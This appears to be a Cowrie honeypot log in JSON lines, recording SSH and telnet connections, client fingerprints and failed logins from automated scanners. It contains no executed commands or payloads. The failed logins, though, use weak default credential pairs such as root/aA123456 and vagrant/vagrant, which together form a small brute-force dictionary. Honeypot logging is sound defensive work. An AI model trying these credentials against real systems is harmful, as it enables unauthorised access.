{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:01.732990Z","src_ip":"45.144.233.139","session":"b316e270ad25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing","message":"login attempt [testing/testing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:02.214226Z","src_ip":"45.144.233.139","session":"b316e270ad25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38140,"dst_ip":"159.203.135.109","dst_port":22,"session":"afae06e9cfea","protocol":"ssh","message":"New connection: 45.156.87.254:38140 (159.203.135.109:22) [session: afae06e9cfea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:03.249331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:03.258344Z","src_ip":"45.156.87.254","session":"afae06e9cfea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:03.309609Z","src_ip":"45.144.233.139","session":"b316e270ad25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:03.356363Z","src_ip":"45.156.87.254","session":"afae06e9cfea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:03.756362Z","src_ip":"45.156.87.254","session":"afae06e9cfea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:04.842847Z","src_ip":"45.156.87.254","session":"afae06e9cfea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46528,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1831df71283","protocol":"ssh","message":"New connection: 45.156.87.254:46528 (159.203.135.109:22) [session: c1831df71283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:09.029112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:09.033793Z","src_ip":"45.156.87.254","session":"c1831df71283","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:09.119465Z","src_ip":"45.156.87.254","session":"c1831df71283","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:09.375371Z","src_ip":"45.156.87.254","session":"c1831df71283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:10.461247Z","src_ip":"45.156.87.254","session":"c1831df71283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46540,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff93279a7e70","protocol":"ssh","message":"New connection: 45.156.87.254:46540 (159.203.135.109:22) [session: ff93279a7e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:14.367053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:14.371967Z","src_ip":"45.156.87.254","session":"ff93279a7e70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:14.462384Z","src_ip":"45.156.87.254","session":"ff93279a7e70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser123","message":"login attempt [esuser/esuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:14.716386Z","src_ip":"45.156.87.254","session":"ff93279a7e70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.091514110565186,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:14.804681Z","src_ip":"104.245.105.2","session":"d17fdb31035f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:15.968246Z","src_ip":"45.156.87.254","session":"ff93279a7e70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":35440,"dst_ip":"10.17.0.5","dst_port":23,"session":"90bbaaea0222","protocol":"telnet","message":"New connection: 104.245.105.2:35440 (10.17.0.5:23) [session: 90bbaaea0222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:17.036441Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":53442,"dst_ip":"10.17.0.5","dst_port":22,"session":"eda9dcdb074f","protocol":"ssh","message":"New connection: 103.143.231.102:53442 (10.17.0.5:22) [session: eda9dcdb074f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:19.664300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:19.669299Z","src_ip":"103.143.231.102","session":"eda9dcdb074f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:19.742097Z","src_ip":"103.143.231.102","session":"eda9dcdb074f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56904,"dst_ip":"159.203.135.109","dst_port":22,"session":"735010aa99f2","protocol":"ssh","message":"New connection: 45.156.87.254:56904 (159.203.135.109:22) [session: 735010aa99f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:20.000665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:20.005280Z","src_ip":"45.156.87.254","session":"735010aa99f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":39710,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcc15ed4dc1d","protocol":"telnet","message":"New connection: 20.123.41.163:39710 (10.17.0.5:23) [session: bcc15ed4dc1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:20.049511Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"P@SSWORD123","message":"login attempt [test/P@SSWORD123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:20.062940Z","src_ip":"103.143.231.102","session":"eda9dcdb074f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:20.092348Z","src_ip":"45.156.87.254","session":"735010aa99f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:20.343393Z","src_ip":"45.156.87.254","session":"735010aa99f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:21.138523Z","src_ip":"103.143.231.102","session":"eda9dcdb074f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:21.429152Z","src_ip":"45.156.87.254","session":"735010aa99f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56918,"dst_ip":"159.203.135.109","dst_port":22,"session":"63f85f7d0f05","protocol":"ssh","message":"New connection: 45.156.87.254:56918 (159.203.135.109:22) [session: 63f85f7d0f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:25.043717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:25.048750Z","src_ip":"45.156.87.254","session":"63f85f7d0f05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:25.131822Z","src_ip":"45.156.87.254","session":"63f85f7d0f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:25.574241Z","src_ip":"45.156.87.254","session":"63f85f7d0f05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:26.662676Z","src_ip":"45.156.87.254","session":"63f85f7d0f05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.30022931098938,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:29.802007Z","src_ip":"20.123.41.163","session":"e4563b2b97b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":40848,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c4e2f0df925","protocol":"ssh","message":"New connection: 45.156.87.254:40848 (159.203.135.109:22) [session: 6c4e2f0df925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:29.896415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:29.900562Z","src_ip":"45.156.87.254","session":"6c4e2f0df925","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:29.983665Z","src_ip":"45.156.87.254","session":"6c4e2f0df925","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123","message":"login attempt [minecraft/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:30.238515Z","src_ip":"45.156.87.254","session":"6c4e2f0df925","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:31.326492Z","src_ip":"45.156.87.254","session":"6c4e2f0df925","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":40858,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3fe616c0b71","protocol":"ssh","message":"New connection: 45.156.87.254:40858 (159.203.135.109:22) [session: d3fe616c0b71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:34.833776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:34.838527Z","src_ip":"45.156.87.254","session":"d3fe616c0b71","protocol":"ssh"}
